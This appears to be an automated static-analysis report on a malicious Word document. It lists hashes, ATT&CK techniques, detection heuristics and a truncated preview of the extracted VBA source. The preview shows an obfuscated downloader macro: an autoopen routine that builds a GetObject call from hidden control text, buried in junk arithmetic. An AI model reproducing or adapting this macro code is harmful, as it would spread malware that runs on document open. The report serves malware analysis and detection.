Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be752b7066a082be…

MALICIOUS

Office (OLE)

140.6 KB Created: 2019-04-03 06:53:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 68d3d48b7a6380f5bf566f58e922b7a9 SHA-1: c1220b7f07e456efce04d878bf2b7852118620b7 SHA-256: be752b7066a082be8bf72b6017d32bf574a4bc2eed227ad1c76715eb128a20fc
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro and 'GetObject' call are strong indicators of malicious intent, commonly used to download and execute further stages. The ClamAV detection further confirms its malicious nature. No specific family could be identified.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6922083-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6922083-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23095 bytes
SHA-256: 26dde16df96440c242ab5e0bfcf49c4078fc89d78e775bcd4013f1f90a625bda
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pA14U1A"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "LACBAQ_A"
Attribute VB_Base = "0{84B647BE-AF6A-41C6-BC3B-3BD55ABBC747}{4B978D08-AF28-4911-BE95-BF4D8CC3B6BF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "OAUCQB_A"
Attribute VB_Base = "0{CE42AC31-DEBE-47CB-BDD3-4F753FB12004}{F325091F-B45F-41E7-8C37-53D48DEB7462}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zAUoBk"
Function fDAUkoA()
   If 785705583 = 882922716 Then
   bcAADQ = 565996727 - Atn(583295309) / 775775056 / 908407598 * 798276091 - Rnd(sAAUADAc / CSng(671508079))
   NxCckAwQ = PoDUA_Q + Tan(754912692) * UxCDoXAA - JBAAAA4B + (448176316 * 458654466)
End If
   If 974906883 = 17403359 Then
   dZABckD = 746976279 - Atn(353140054) / 709937572 / 49853646 * 141575136 - Rnd(dcX_QGUZ / CSng(828880503))
   UACUAxBZ = aA_4GD + Tan(478518610) * cAAU4BA - oQDGDo + (592377884 * 976730620)
End If
End Function
Sub autoopen()
oAGAkXA
End Sub
Function oAGAkXA()
On Error Resume Next
   If 187420879 = 604567142 Then
   nXQABD = 929380452 - Atn(101243088) / 908287623 / 237203707 * 788537806 - Rnd(FQAAoAB / CSng(483573668))
   fUQ_ADA = EBoDUAAA + Tan(239169449) * MABAkAUD - T4DAA_ + (50587769 * 903790133)
End If
   If 29820705 = 497410658 Then
   lBAAAUD = 335510965 - Atn(668696072) / 382394619 / 359022593 * 966562168 - Rnd(bAQwcGG / CSng(796831041))
   kGAxA1A4 = IxB1AoGw + Tan(43362926) * jDkUAAA - jAACBGD + (341197281 * 681289508)
End If
Set ZAB4Q1 = GetObject(LACBAQ_A.XQX1GX + OAUCQB_A.pAA1x4AA + LACBAQ_A.XQX1GX.ControlTipText)
   If 681389288 = 856146721 Then
   HXZDkQB = 304156796 - Atn(301991440) / 531185268 / 853684222 * 275174600 - Rnd(ZUDAQkA / CSng(291974459))
   lDAAAZQ = jA1A_cQQ + Tan(444206948) * UAQBZAAA - WBxADQA + (676334132 * 405273370)
End If
   If 670991876 = 183621604 Then
   UAZD4A = 904111992 - Atn(76164551) / 9072723 / 911585185 * 752852981 - Rnd(mCXAGZ / CSng(976008504))
   IAoAAQ_o = sBZA_U + Tan(825754419) * FAQUQB - A1xGGCBc + (222498770 * 208889327)
End If
   If 583270178 = 694773275 Then
   mXAAQAB = 230194716 - Atn(423198246) / 356870709 / 703292869 * 60946623 - Rnd(VkDAZw / CSng(781530351))
   kABwkB = C4xocDAD + Tan(546930742) * c4oAkQ - oCwA4Z + (953074059 * 217396574)
End If
If 31222 = 31222 Then
   If 540158989 = 612229884 Then
   FxBAADAG = 937491208 - Atn(72482582) / 737404273 / 874310998 * 177382456 - Rnd(bUc1cD / CSng(627540448))
   CCQcXx = tXADAQCC + Tan(432869904) * XAAoAA - cAAU_A1c + (316854294 * 283497233)
End If
   If 501437003 = 614604318 Then
   WDAoxcA4 = 122257204 - Atn(436774805) / 438128790 / 536979477 * 976160615 - Rnd(hAAcA1A / CSng(607329162))
   YQAQA4o = iBUBU_ + Tan(760231834) * wBZCABA4 - tAUAwAQ + (461456574 * 684950578)
End If
   If 4972587 = 105790301 Then
   WC1oUoQD = 974052615 - Atn(884252468) / 510003871 / 501545027 * 482390539 - Rnd(YAQAGBA / CSng(173755901))
   hCCGXA = LAXcA4 + Tan(226089291) * HA4A_AA - XBkwZQA + (806177063 * 730580968)
End If
ZAB4Q1. _
ShOwWiNdOw = LACBAQ_A.QBQkAA - LACBAQ_A.QBQkAA + LACBAQ_A.QBQkAA + LACBAQ_A.QBQkAA + LACBAQ_A.QBQkAA
   If 82136797 = 390476070 Then
   jUZACC4A = 667398646 - Atn(46421309) / 823946054 / 327348206 * 38389010 - Rnd(IwAAB1D / CSng(915374480))
   IADDBAx_ = sUocDx + Tan(73660629) * hAAAAk4 - JG1__Z + (793613711 * 889027386)
End If
   If 618056729 = 368071372 Then
   LAABAAQ = 756794348 - Atn(202099418) / 569744199 / 230800196 * 547884752 - Rnd(BAACcAA / CSng(603884930))
   qkZAwX = kXQABZD + Ta
... (truncated)